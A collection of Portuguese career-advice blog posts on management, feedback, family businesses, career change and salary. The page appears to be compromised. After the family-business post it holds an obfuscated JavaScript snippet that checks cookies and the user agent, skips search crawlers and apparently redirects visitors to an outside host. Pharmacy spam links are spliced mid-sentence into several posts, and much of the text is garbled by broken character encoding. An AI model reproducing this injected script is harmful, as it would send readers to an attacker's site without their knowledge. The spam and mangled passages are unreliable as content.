Assumir um cargo de gestão é algo gratificante, mas também muito desafiador. A primeira experiência gerencial não costuma ser nada fácil e quando acontece do profissional ser promovido dentro da própria equipe, torna-se ainda mais exigente.
Quando se assume a gerência de uma equipe da qual se fez parte, um dos primeiros desafios geralmente é o de administrar a resistência dos demais integrantes em relação à mudança de comportamento do novo gestor. Na maioria das vezes, as pessoas não entendem que a postura diferente é necessária para atender as responsabilidades do cargo e manter o enquadramento profissional com toda a equipe de trabalho.
Será exigido nesta nova etapa que o gestor, por exemplo, saiba estabelecer certo distanciamento do grupo. Espera-se que ele consiga se manter próximo para ter condições de orientar a tarefa e dar suporte nas dificuldades, mas que também consiga manter uma distância que evite situações de intimidade ou confusão entre os vínculos profissional e de amizade. Toda essa nova situação naturalmente será motivo de estranheza para a equipe e poderá causar mais resistência ao novo comando, inclusive por parte dos mais amigos.
Mas como tratar os casos de amizade? Na maioria das vezes, não é preciso romper com os laços já existentes, mas é importante compreender que é mais exigente gerenciar um amigo. A atenção deve ser redobrada para não assumir uma postura que possa parecer privilégio, não deixar de fazer uma crítica quando for necessário e não confundir o ambiente de trabalho com o particular, se excedendo em conversas ou almoços somente com seu amigo, por exemplo.
Estes costumam ser os primeiros desafios do novo gestor e para aumentar as chances de sucesso, uma das primeiras ações ao assumir o cargo deve ser reunir a equipe e conversar sobre o novo momento. Deixar claro os seus desafios e pedir a compreensão e colaboração do grupo. Ouvir sugestões e evitar, de imediato, realizar mudanças bruscas. Em geral, fazer uma gestão mais participativa indica uma postura de parceria e nestes casos as pessoas tendem a ser mais solidárias e menos reativas.
A importância do retorno
Muitos se queixam da falta de retorno de suas demandas, sejam eles clientes, fornecedores ou até os colegas de trabalho. Por outro lado, parece ser grande a dificuldade em responder a essas solicitações, mesmo com as diversas ferramentas de comunicação disponíveis hoje em dia. Por que isso acontece?
As solicitações chegam por diversos canais, sejam através de e-mails, redes sociais, telefonemas e, inclusive, pessoalmente e com isso alguns profissionais se sentem incomodados e pressionados por não conseguir dar conta das suas pendências. Em muitas situações, o solicitante tem a expectativa de ter sua resposta na hora, o que quase sempre, não é possível.
É importante compreender que dar retorno não significa necessariamente repassar a resposta com a resolução daquela solicitação. Ficar calado, mesmo que cuidando do que foi questionado, pode gerar desconforto nas relações internas ou com o mercado, além de tender a aumentar as cobranças e queixas pela falta de resposta. Então, o que fazer?
Primeiro, é preciso responder ao solicitante esclarecendo o que será preciso fazer para responder a sua demanda. Vincular o retorno apenas ao momento em que terá a informação ou a tarefa completa é um erro muito comum. Se existir qualquer dificuldade no atendimento da demanda, o recomendado é posicionar o demandante ao longo do tempo, dando ciência da situação. Caso contrário, pode ficar a impressão de a demanda foi esquecida ou que não está sendo acompanhada devidamente.
É preciso ter atenção, também, com expectativa de tempo para o retorno. É muito comum que o demandante espere ter sua necessidade tratada como prioridade na sua lista de atividades, mesmo quando não sinaliza que a situação precisa de uma atenção especial. Cabe então ao profissional que recebe a demanda questionar sobre a grau de urgência e negociar de partida um prazo para a resposta.
Portanto, fique atento pois é a imagem profissional que está em jogo. Acompanhar a solicitação, compartilhar a informação em qualquer estágio e estabelecer prazos permitirão que o outro saiba que seu pedido está sendo cuidado e confie que o retorno acontecerá, talvez não tão rápido, mas assim que possível ou acordado.
Para muitos, investir no desenvolvimento profissional significa fazer cursos de graduação, pós-graduação, especialização ou extensão, por exemplo, e ter vários títulos no currículo. Entretanto, para se destacar profissionalmente, principalmente quando se quer chegar a um cargo mais estratégico, é preciso ter muito mais do que títulos e diplomas que comprovem o conhecimento.
Com o desaquecimento da economia e o aumento do desemprego, as empresas estão muito mais exigentes para contratar. Condições que durante o “boom econômico” nem se ousava pensar pela dificuldade de encontrar mão de obra disponível para trabalhar, agora viram diferenciais, como ter conhecimento geral. Mas por que isso?
Profissionais que investem em cultura geral e sabem o que está acontecendo no Brasil e no mundo, conseguem se relacionar com mais facilidade, simplesmente por terem conteúdo para participar de conversas, aparentemente, despretensiosas que aproximam ou estreitam os vínculos profissionais. Discutir sobre fatos relevantes que aconteceram recentemente ou sobre curiosidades de determinadas regiões são temas interessantes para “quebrar o gelo” e iniciar uma conversa de negócio.
Na mesma linha, a etiqueta profissional e a educação doméstica também têm sido muito valorizados. São frequentes as cenas de pessoas que não sabem se portar em almoços de negócios, mastigam chicletes e falam alto durante as reuniões, usam roupas inadequadas, fazem brincadeiras inconvenientes, entre outros comportamentos que prejudicam a imagem do profissional e da empresa que representa.
Em síntese, investir no desenvolvimento profissional significa fazer cursos, mas também, fazer leituras diversificadas, assistir documentários, visitar museus, estudar sobre etiqueta profissional. Quem tem educação tem mais facilidade para entrar e sair dos lugares. Quem tem bagagem cultural é mais respeitado. Ou seja, ter conteúdo pode fazer com que o profissional enfrente melhor qualquer situação.
Com a crise e a escassez de oportunidades no mercado, alguns jovens, filhos de empresA?rios, estA?o vendo com outros olhos a possibilidade de trabalhar na empresa da famAi??lia. Para muitos pais, Ai?? um sonho ver o filho dando continuidade ao seu projeto empresarial. Por outro lado, o jovem se livra da angA?stia de ficar em busca de uma oportunidade de emprego em um mercado de trabalho recessivo. Aparentemente todos os ai???problemasai??? estariam resolvidos, mas Ai?? preciso ter atenAi??A?o nas armadilhas em torno dessa decisA?o.
O desejo de ver seus filhos dando continuidade ao legado da famAi??lia acaba levando muitos pais a abraAi??arem a ideia da entrada do filho na empresa sem muita reflexA?o sobre os riscos de uma inserAi??A?o feita sem planejamento. Visando preservar tanto a empresa quanto a carreira do jovem, Ai?? preciso ponderar se essa escolha pela empresa da famAi??lia Ai?? mesmo a melhor opAi??A?o a seguir, se o projeto empresarial estA? alinhado com o projeto de futuro do jovem, e se o cargo proposto condiz com o seu perfil profissional ai??i?? considerando os requisitos bA?sicos para a atuaAi??A?o.
Ai?? bem verdade que, em muitos casos, a entrada de um herdeiro acontece de forma pouco planejada, Ai??s vezes atAi?? sem funAi??A?o definida, o que atrapalha essa reflexA?o inicial e aumenta as chances de insucesso. Na prA?tica, a falta de visibilidade de que planejar esta chegada pode determinar o futuro do jovem na empresa, faz com que muitas vezes o filho seja colocado ao lado do pai, quase como uma ai???sombraai???, para aprender de tudo um pouco e ser, num futuro prA?ximo, sua cA?pia fiel. Ou seja, mais um risco de fracasso.
Mas, afinal, qual Ai?? a melhor maneira de preparar a empresa e o jovem para esta nova etapa? Bom, Ai?? preciso ter um projeto de trabalho com responsabilidades bem definidas, pactuar expectativas em relaAi??A?o Ai?? sua atuaAi??A?o, como resultados que precisa entregar, e estabelecer alguns compromissos para dar certo, em termos de comportamentos e atitudes. AlAi??m disso, Ai?? fundamental ter um plano de desenvolvimento que dA? visibilidade Ai??s etapas que viabilizarA?o o crescimento profissional, com ganho de experiA?ncia e conhecimento.
Em resumo, a escolha pela empresa da famAi??lia pode parecer a mais simples e satisfatA?ria para todas as partes. Um sonho sendo realizado e uma necessidade sendo suprida. Mas passar por este processo sem parar para refletir, planejar e sem conversar sobre o futuro, pode ser o caminho para um fracasso anunciado. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Muitas vezes, sonhamos com uma profissão e temos a certeza que é a carreira que queremos seguir. No início, tudo parece perfeito, mas com tempo percebemos que alguma coisa não está indo bem. Falta vontade de trabalhar, a energia e a empolgação não são mais as mesmas. O que pode estar acontecendo?
A razão pode passar pelo ambiente de trabalho. Empresas que não acompanham o desempenho de suas equipes, tratam os empregados de modo diferente e não têm paciência para administrar os conflitos, por exemplo, geram desânimo e acomodação. Diante de uma situação como essa, o profissional pode até pensar que deixou de gostar do que faz. Mas se esse não é o caso, pelo contrário, a empresa é “perfeita” e a remuneração é diferenciada, qual será o problema?
Existem ainda duas possibilidades. Na primeira, pode ser que o profissional esteja vivendo um momento pessoal bem complicado que tenha afetado o entusiasmo pelo trabalho. Por exemplo, um quadro depressivo. Já a segunda possibilidade está relacionada à identificação com a atividade. A carreira não era o que o profissional pensava. Essa razão é a mais difícil de ser diagnosticada.
Quando há um bom ambiente de trabalho, o relacionamento com os colegas é saudável, existem oportunidades reais de desenvolvimento na carreira e boas perspectivas de ganho financeiro, o profissional fica confuso sem querer acreditar que o problema possa estar na natureza da atividade ou mesmo na escolha da profissão. Ainda pode pensar que é uma fase e irá passar. No entanto, se a questão persistir, as profissões dos colegas ou familiares começarem a ser mais interessantes ou o profissional se pegar sonhando acordado realizando uma atividade que não é a sua. Pode ser hora, então, de repensar a carreira e planejar a mudança de rota.
Entretanto, mudar nunca é simples e fácil. É preciso coragem para tomar decisões, deixar uma história construída para trás, enfrentar os medos do desconhecido e pagar os custos de recomeçar numa carreira diferente. E, quando tudo isso se junta ao apego à empresa da qual faz parte, a decisão acaba sendo adiada por uma, duas, várias vezes. Mas uma coisa é certa: quanto mais cedo a decisão for tomada, mais fácil será lidar com os impactos dela na sua vida pessoal e profissional. E no final de tudo, na maioria das vezes, o sentimento predominante é o de alívio; de ter conseguido tirar um peso das costas e seguir o caminho da realização profissional.
http://mesincuci.net/sharp/treatment-peripheral-neuropathy-flagyl 
http://www.pablogodoy.cl/?p=1858 D http://ainunrachmania.mhs.narotama.ac.id/2018/02/14/best-price-on-flomax/ e forma geral, jovens empreendedores tA?m como caracterAi??sticas marcantes a criatividade e o dinamismo. Boas ideias sA?o transformadas em negA?cios e nA?o Ai?? raro serem feitos investimentos em diferentes atividades ao mesmo tempo. Entretanto, para ter sucesso, Ai?? preciso mais do que ideias.
Em tempos de crise, o desejo de empreender e ser dono do prA?prio negA?cio aflora com mais forAi??a. Ai?? natural, jA? que propostas de trabalho atrativas sA?o mais difAi??ceis, falta emprego formal e a necessidade de ganhar dinheiro e de inserAi??A?o no mercado de trabalho aumentam as inquietaAi??Ai??es e levam muitos jovens profissionais a verem como A?nica opAi??A?o investir no prA?prio negA?cio e atAi?? mesmo em diferentes negA?cios ao mesmo tempo. E Ai?? aAi?? onde pode estar o perigo. Ter vA?rias frentes de trabalho simultA?neas pode ser a razA?o de muitas iniciativas mal sucedidas!
E como fica a orientaAi??A?o dos especialistas de que ai???nA?o se deve colocar todos os ovos na mesma cestaai???? Essa orientaAi??A?o continua valendo, mas cada negA?cio ao seu tempo. Ai?? preciso atentar que, para um empreendimento emplacar, Ai?? necessA?rio, em primeiro lugar, ter um projeto com consistA?ncia e muito foco e dedicaAi??A?o. E com vA?rias frentes de trabalho acontecendo ao mesmo tempo, faltarA? tempo e energia para aprofundar o conhecimento das especificidades de cada uma delas e construir um diferencial de mercado. O risco de ficar na superficialidade e cair na vala comum Ai?? grande.
Em outras palavras, para uma boa ideia se transformar num empreendimento bem sucedido, Ai?? preciso estudar e pesquisar sobre o assunto, conhecer as variA?veis crAi??ticas de sucesso, analisar as tendA?ncias de mercado etc. Com mais informaAi??Ai??es sobre o segmento, Ai?? hora de estruturar o plano de negA?cios; pensar a estratAi??gia, fazer o estudo de viabilidade, buscar parcerias e financiamentos, formalizar a empresa, entre outras coisas. Por mais simples que seja o empreendimento, os primeiros anos sA?o muito exigentes e requer dedicaAi??A?o e cuidados de um ai???recAi??m-nascidoai???.
Outro ponto crucial Ai?? ter disciplina, persistA?ncia e paciA?ncia para transformar o plano de negA?cios em realidade. O sucesso nA?o vem de imediato, sA?o muitos erros e acertos. Os momentos de dificuldades serA?o muitos e com eles vem a vontade de largar tudo, mas Ai?? preciso transformar os erros em conhecimento e seguir em frente. Mudar de negA?cio a cada onda de desA?nimo Ai?? caminho para o fracasso.
Por tudo isso que jA? foi dito, pode-se dizer que empreendedores criativos e dinA?micos nA?o significa empresA?rios abrindo vA?rias frentes de negA?cios ao mesmo tempo e em segmentos diferentes. Diversificar Ai?? estratAi??gico, mas cada negA?cio ao seu tempo.
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http://mesincuci.net/sharp/order-kytril-1 
http://ainunrachmania.mhs.narotama.ac.id/2018/02/16/generic-arimidex-australia/
A http://www.pablogodoy.cl/?p=1918 s empresas, de um modo geral, costumam enaltecer as pessoas que estA?o sempre ocupadas. Ai?? comum atAi?? ouvirmos dizer: quer que o trabalho seja entregue no prazo? Encaminhe para alguAi??m muito ocupado que ele vai dar um jeito de fazer em tempo. E o que esses profissionais fazem para conseguir responder no prazo? Tem alguma mA?gica?
Nessa histA?ria, nA?o hA? truques. Profissionais com boa capacidade de resposta sempre planejam e organizam suas demandas e nA?o desperdiAi??am tempo com conversas paralelas. Ao contrA?rio do que acontece com quem tem muito tempo disponAi??vel e costuma procrastinar trabalhos ou dispersar com facilidade. O segredo, entA?o, Ai?? a administraAi??A?o do tempo?
Sim, mas nA?o Ai?? sA? isso. AdministraAi??A?o do tempo tem limite. O profissional precisa saber a hora de parar de pegar novas demandas. Precisa reconhecer que nA?o Ai?? uma mA?quina e que o descanso Ai?? necessA?rio. NA?o ter tempo para almoAi??ar ou fazer pequenas pausas, nA?o ter hora para chegar nem para sair da empresa e ainda levar trabalho para casa pode ser o caminho para o fracasso.
Nesse ritmo frenAi??tico, em pouco tempo, o empregado estarA? estressado, muito cansado fAi??sica e mentalmente e com sua capacidade de atenAi??A?o comprometida. NA?o Ai?? preciso dizer que essa combinaAi??A?o de coisas coloca em risco a qualidade das entregas, pois falhas no entendimento, inconsistA?ncia das informaAi??Ai??es e atrasos tornam-se frequentes.
Na verdade, o segredo para fazer mais com menos tempo Ai?? a preservaAi??A?o da capacidade produtiva, o que se dA? com administraAi??A?o do tempo (organizaAi??A?o e planejamento das demandas) e cuidado com a saA?de (pausas para descanso, atividade fAi??sica e alimentaAi??A?o regular). Nos dias de hoje, ter apenas 24h (por dia) para responder e-mails e mensagens, participar de eventos sociais e familiares, fazer leituras regulares e ainda fazer o que Ai?? preciso para manter a capacidade produtiva Ai?? um grande desafio.
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Quanto vale um profissional?
http://mesincuci.net/sharp/buy-alevere-sachets http://www.pablogodoy.cl/?p=1922
http://ainunrachmania.mhs.narotama.ac.id/2018/02/16/order-lady-era-side/ Quanto vale um profissional Ai?? uma pergunta simples e de difAi??cil resposta por depender de diversas variA?veis. Mas que por ser estratAi??gica, todo profissional deveria tA?-la na ponta da lAi??ngua e com argumentaAi??Ai??es convincentes. Saber quanto vale significa saber quanto Ai?? a sua remuneraAi??A?o no mercado de trabalho. Mas como calculA?-la?
Ai?? medida que o profissional avanAi??a na sua carreira em funAi??A?o de experiA?ncias que adquiriu ou conhecimentos que aprimorou, o normal Ai?? que vA? avanAi??ando gradativamente no incremento da sua remuneraAi??A?o. Ai?? possAi??vel, inclusive, fazer uma linha histA?rica relacionando as funAi??A?o que jA? ocupou e as remuneraAi??Ai??es que teve em cada uma delas e constatar que cada degrau que se sobe na carreira corresponde a um aumento salarial (estagiA?rios, trainee, auxiliar, assistente, etc).
Para saber qual seria o valor justo a receber, o profissional precisa ter consciA?ncia do estA?gio que sua carreira atingiu e qual Ai?? a remuneraAi??A?o associada a esse patamar, ou seja, quanto o mercado estA? pagando por um profissional com as suas qualificaAi??Ai??es ai??i?? experiA?ncia, conhecimento etc. Isso faz a diferenAi??a, principalmente, em momentos de crise, em que a pressA?o para pagar menos e levar mais aumenta. Mas fica o alerta: sair demais do seu padrA?o ou do correspondente ao seu lugar pode gerar uma insatisfaAi??A?o grande mais Ai?? frente.
Ai?? claro que isso nA?o significa que nA?o podemos negociar. Na verdade, o que nA?o Ai?? estratAi??gico Ai?? dizer sim a uma remuneraAi??A?o e, logo em seguida, ficar reclamando ou se queixando do salA?rio. TambAi??m nA?o Ai?? adequado definir a remuneraAi??A?o em funAi??A?o, apenas, das necessidades financeiras, atAi?? mesmo porque a questA?o Ai?? quanto vale e nA?o quanto gostaria ou precisaria ganhar. O valor da remuneraAi??A?o de um profissional depende de sua qualificaAi??A?o e de quanto o mercado estA? disposto a pagar por ela.
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Tenho várias competências que me credenciam a realizar diferentes atividades profissionais. Com tantas possibilidades de carreira a seguir, como não se sentir perdido profissionalmente?
Já falamos algumas vezes sobre a importância de ter um planejamento da própria carreira e como fazê-lo, pois é a ferramenta que permite com que as pessoas não fiquem à deriva na profissão. É muito importante, especialmente para os profissionais que têm múltiplas habilidades, que consigam manter o foco e regulem o desejo de mudança diante das oportunidades que aparecem ao longo da sua trajetória. Daí a importância de se ter um projeto profissional claro e consistente e de se planejar para que os sonhos se tornem realidade.
Quem pensa regularmente na própria carreira, traça metas e desafios e não desiste nas primeiras dificuldades tem mais chances de sucesso. Ter em mente o que é preciso fazer e refletir sobre os avanços e as dificuldades aumentam as reincidências de acerto e a produção da energia que combate os movimentos procrastinadores e retardam o andamento das coisas. A equação é a seguinte: quanto mais sucesso, mais empolgação e vontade de chegar ao objetivo traçado.
Com isso, não se quer dizer que todas as oportunidades atrativas sejam desviantes e não valam a pena. Apenas, se quer chamar atenção que antes de dizer um sim a uma proposta “maravilhosa”, “irrecusável” e “tudo a ver”, mas que não estava nos planos, faça uma avalição com frieza e cautela dos impactos no seu projeto profissional.
Final de ano é sinônimo de confraternização. No meio corporativo, esses eventos são excelentes oportunidades para interagir com os colegas de trabalho, estruturar o networking e celebrar os resultados do ano que está acabando. No entanto, é preciso tomar alguns cuidados para não prejudicar a própria imagem.
Muito embora seja importante participar da confraternização da empresa em que trabalha ou de clientes e parceiros, lembre-se sempre que, apesar de ser um momento de descontração, você continua sendo observado pelos líderes e colegas de trabalho. Por isso, é indispensável manter a boa postura e evitar excessos.
Para quem tem a função de liderança, seja gestor ou o próprio dono da empresa, é importante dar um bom exemplo na participação. Faltar só em último caso, incentivar a integração, procurando circular por todos os espaços e equipes, demonstrando bom humor e animação. É essencial ver a confraternização como uma boa oportunidade de se mostrar mais acessível e também de conhecer melhor a sua equipe. Evite assuntos de trabalho, críticas ou comentários sobre metas.
É quase impossível enumerar todos os tipos de comportamentos inadequados para esse tipo de evento. Mas duas palavras podem traduzir a melhor atitude: seja discreto. Aproveite o momento, mas não se esqueça dos seus limites.
